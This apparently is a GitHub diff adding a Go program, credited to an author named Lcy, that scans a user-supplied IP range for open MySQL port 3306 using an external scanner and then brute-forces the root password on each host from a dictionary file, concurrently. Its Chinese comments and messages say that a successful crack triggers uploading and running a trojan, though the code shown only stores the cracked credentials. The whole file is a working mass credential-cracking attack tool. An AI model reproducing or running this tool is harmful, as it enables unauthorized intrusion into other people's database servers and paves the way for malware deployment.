|
| 1 | +package main |
| 2 | + |
| 3 | +import ( |
| 4 | + "fmt" |
| 5 | + "github.com/ziutek/mymysql/mysql" |
| 6 | + _ "github.com/ziutek/mymysql/native" // Native engine |
| 7 | + "os" |
| 8 | + "os/exec" |
| 9 | + "time" |
| 10 | + "C" |
| 11 | + "io/ioutil" |
| 12 | + "strings" |
| 13 | + "runtime" |
| 14 | + "sync" |
| 15 | +) |
| 16 | + |
| 17 | +type ScanMysql struct { |
| 18 | + dist []string |
| 19 | + result map[string]string |
| 20 | +} |
| 21 | + |
| 22 | +//ScanPort |
| 23 | +func (self *ScanMysql) ScanPort(startip, endip, port, thread string) { |
| 24 | + cmd := exec.Command(`s.exe`, `tcp`, startip, endip, port, thread, "/save") |
| 25 | + cmd.Stdout = os.Stdout |
| 26 | + if err := cmd.Run(); err != nil { |
| 27 | + fmt.Println("Error: ", err) |
| 28 | + } |
| 29 | + cmd.Run() |
| 30 | + fmt.Println("Scan success..") |
| 31 | +} |
| 32 | + |
| 33 | +func (slef *ScanMysql) crack(host, user, pass, port, dbname string) (bool, *mysql.Conn) { |
| 34 | + db := mysql.New("tcp", "", host+":"+port, user, pass, dbname) |
| 35 | + db.SetTimeout(4 * time.Second) |
| 36 | + err := db.Connect() |
| 37 | + if err != nil { |
| 38 | + db.Close() |
| 39 | + return false, nil |
| 40 | + } |
| 41 | + return true, &db |
| 42 | +} |
| 43 | +func (slef *ScanMysql) Attack(iparr []string){ |
| 44 | + list := slef.dist |
| 45 | + var ip string |
| 46 | + ch := make(chan int) |
| 47 | + for _,ip = range(iparr){ |
| 48 | + go slef.run(list,ip,ch) |
| 49 | + } |
| 50 | + <-ch |
| 51 | +} |
| 52 | + |
| 53 | +func (slef *ScanMysql)run(list []string,ip string,ch chan int) { |
| 54 | + var pass string |
| 55 | + wg := sync.WaitGroup{} |
| 56 | + for _,pass = range(list){ |
| 57 | + wg.Add(1) |
| 58 | + go slef.run2(pass,ip,&wg) |
| 59 | + } |
| 60 | + wg.Wait() |
| 61 | + ch<-1 |
| 62 | + |
| 63 | +} |
| 64 | + |
| 65 | +func (slef *ScanMysql)run2(pass,ip string,wg *sync.WaitGroup){ |
| 66 | + pass = strings.TrimSpace(pass) |
| 67 | + ip = strings.TrimSpace(ip) |
| 68 | + is_login,_ := slef.crack(ip,"root",pass,"3306","mysql") |
| 69 | + fmt.Printf("\r\nCracking: %s root-%s",ip,pass) |
| 70 | + //爆破成功，上传木马执行 |
| 71 | + if is_login{ |
| 72 | + fmt.Println(" 爆破成功，正在上传木马....\r\n") |
| 73 | + slef.result[ip] = pass |
| 74 | +// wg.Done() |
| 75 | +// os.Exit(2) |
| 76 | + } else { |
| 77 | + fmt.Println(" 连接失败\r\n") |
| 78 | + } |
| 79 | + wg.Done() |
| 80 | +} |
| 81 | + |
| 82 | +func ( *ScanMysql) ipformat()[]string { |
| 83 | + f,err:= os.Open("Result.txt") |
| 84 | + if err !=nil{ |
| 85 | + fmt.Println(err) |
| 86 | + } |
| 87 | + res,err := ioutil.ReadAll(f) |
| 88 | + if err !=nil{ |
| 89 | + fmt.Println(err) |
| 90 | + } |
| 91 | + str := string(res) |
| 92 | + arr := strings.Split(str,"\r\n") |
| 93 | + l := len(arr)-4 |
| 94 | + arrs := arr[2:l] |
| 95 | + var newarr []string |
| 96 | + for _,v := range(arrs){ |
| 97 | + v = strings.Replace(v," 3306 Open ","",-1) |
| 98 | +// fmt.Println(i,v) |
| 99 | + newarr = append(newarr,v) |
| 100 | + } |
| 101 | + f.Close() |
| 102 | + os.Remove("Result.txt") |
| 103 | + return newarr |
| 104 | +} |
| 105 | + |
| 106 | +func main() { |
| 107 | + runtime.GOMAXPROCS(runtime.NumCPU()) |
| 108 | + fmt.Printf("\r\n------------------------------------------------------------------------------\r\n") |
| 109 | + fmt.Printf(" Welcome to use Mysql crack! qq:1141056911\r\n") |
| 110 | + fmt.Printf(" By Lcy \r\n") |
| 111 | + fmt.Printf(" http://phpinfo.me \r\n") |
| 112 | + fmt.Printf("------------------------------------------------------------------------------\r\n") |
| 113 | + if len(os.Args) != 4 { |
| 114 | + fmt.Printf("Usage: %s StartIP EndIP ThreadNumber", os.Args[0]) |
| 115 | + os.Exit(1) |
| 116 | + } |
| 117 | + StartIP := os.Args[1] |
| 118 | + EndIP := os.Args[2] |
| 119 | + Thread := os.Args[3] |
| 120 | + fmt.Printf("Scaning to %s-%s\r\n",StartIP,EndIP) |
| 121 | + time.Sleep(1 * time.Second) |
| 122 | + //初始化mysql对像 |
| 123 | + obj := ScanMysql{} |
| 124 | + obj.ScanPort(StartIP, EndIP, "3306", Thread) |
| 125 | + //开放3306端口的ip |
| 126 | + iparr := obj.ipformat() |
| 127 | + //读取字典文件 |
| 128 | + f,err:= os.Open("pass.txt") |
| 129 | + if err !=nil{ |
| 130 | + fmt.Println(err) |
| 131 | + } |
| 132 | + res,err := ioutil.ReadAll(f) |
| 133 | + if err !=nil{ |
| 134 | + fmt.Println(err) |
| 135 | + } |
| 136 | + str := string(res) |
| 137 | + obj.dist = strings.Split(str,"\r\n") |
| 138 | + fmt.Printf("\r\nIP段扫描完毕，程序即将开始爆破密码...\r\n") |
| 139 | + time.Sleep(1 * time.Second) |
| 140 | + //启动线程开始爆破,爆破成功则自动上传木马 |
| 141 | + obj.result = make(map[string]string) |
| 142 | + obj.Attack(iparr) |
| 143 | + //爆破结果 |
| 144 | + for k,v := range(obj.result) { |
| 145 | + fmt.Printf("爆破成功: %s root-%s\r\n ",k,v) |
| 146 | + } |
| 147 | +} |
0 commit comments